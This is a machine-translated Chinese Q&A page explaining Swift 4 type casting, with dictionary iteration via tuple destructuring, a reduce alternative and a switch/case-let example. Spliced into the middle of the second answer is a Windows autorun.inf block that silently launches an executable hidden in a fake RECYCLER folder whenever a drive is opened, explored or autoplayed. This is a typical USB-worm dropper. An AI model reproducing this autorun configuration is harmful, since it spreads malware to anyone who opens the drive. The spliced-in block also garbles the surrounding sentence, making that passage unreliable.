我目前正在研究swift 4中的类型转换和检查的基础知识。我在Apple Developer书中找到了一个示例,我需要一些帮助。
他们有一个练习来创建一个Any类型的字典,然后解开循环遍历字典的值。给定的解决方案显示for循环,括号中的值和每个值都被解包。有人可以解释显示的解决方案吗?还有另一种(简单)方法来解决这个问题吗?书中没有足够的信息。
0.9.3
非常感谢提前提供任何帮助: - )
答案 0 :(得分:0)
Dictionary
符合Collection
,符合Sequence
。这意味着可以通过使用for ... in循环来循环字典。
在Dictionary
的定义中,有这一行:
public typealias Element = (key: Key, value: Value)
这意味着“在称为字典的集合中,它包含(key: Key, value: Value)
类型的元素”。这意味着您将在(key: Key, value: Value)
:
in
作为变量的类型
for element in someDictionary {
// element is of type (key: Key, value: Value)
}
由于element
是一个元组,我们实际上可以通过执行以下操作来解包元组:
for (key, value) in someDictionary {}
在您的具体情况下,我们不需要key
位,因此我们写_
来说“扔掉它”:
for (_, value) in someDictionary {}
解决此问题的另一种方法是使用reduce
。我不会说这必然更简单:
total = anythingAndEverything.reduce(0.0) { (x, y) -> Double in
if let value = y.value as? Bool {
if value {
return x + 2
} else {
return x - 3
}
} else if let value = y.value as? Double {
return x + value
} else if let value = y.value as? Int {
return x + Double(value)
} else if let value = y.value as? String {
return x + 1
} else {
return x
}
}
答案 1 :(得分:0)
此外,我建议您阅读Apple's Swift guide的官方解释。还有一个很好的示例循环收集并使用[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
shell\explore\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe
来检查值的类型。
switch statement
我还想解释一下这个部分:
for thing in things {
switch thing {
case 0 as Int:
print("zero as an Int")
case 0 as Double:
print("zero as a Double")
case let someInt as Int:
print("an integer value of \(someInt)")
case let someDouble as Double where someDouble > 0:
print("a positive double value of \(someDouble)")
case is Double:
print("some other double value that I don't want to print")
case let someString as String:
print("a string value of \"\(someString)\"")
case let (x, y) as (Double, Double):
print("an (x, y) point at \(x), \(y)")
case let movie as Movie:
print("a movie called \(movie.name), dir. \(movie.director)")
case let stringConverter as (String) -> String:
print(stringConverter("Michael"))
default:
print("something else")
}
}
这意味着如果新的case let varName as TypeName
等同于varName
的非可选版本以及thing
类型,请使用它进行下一步。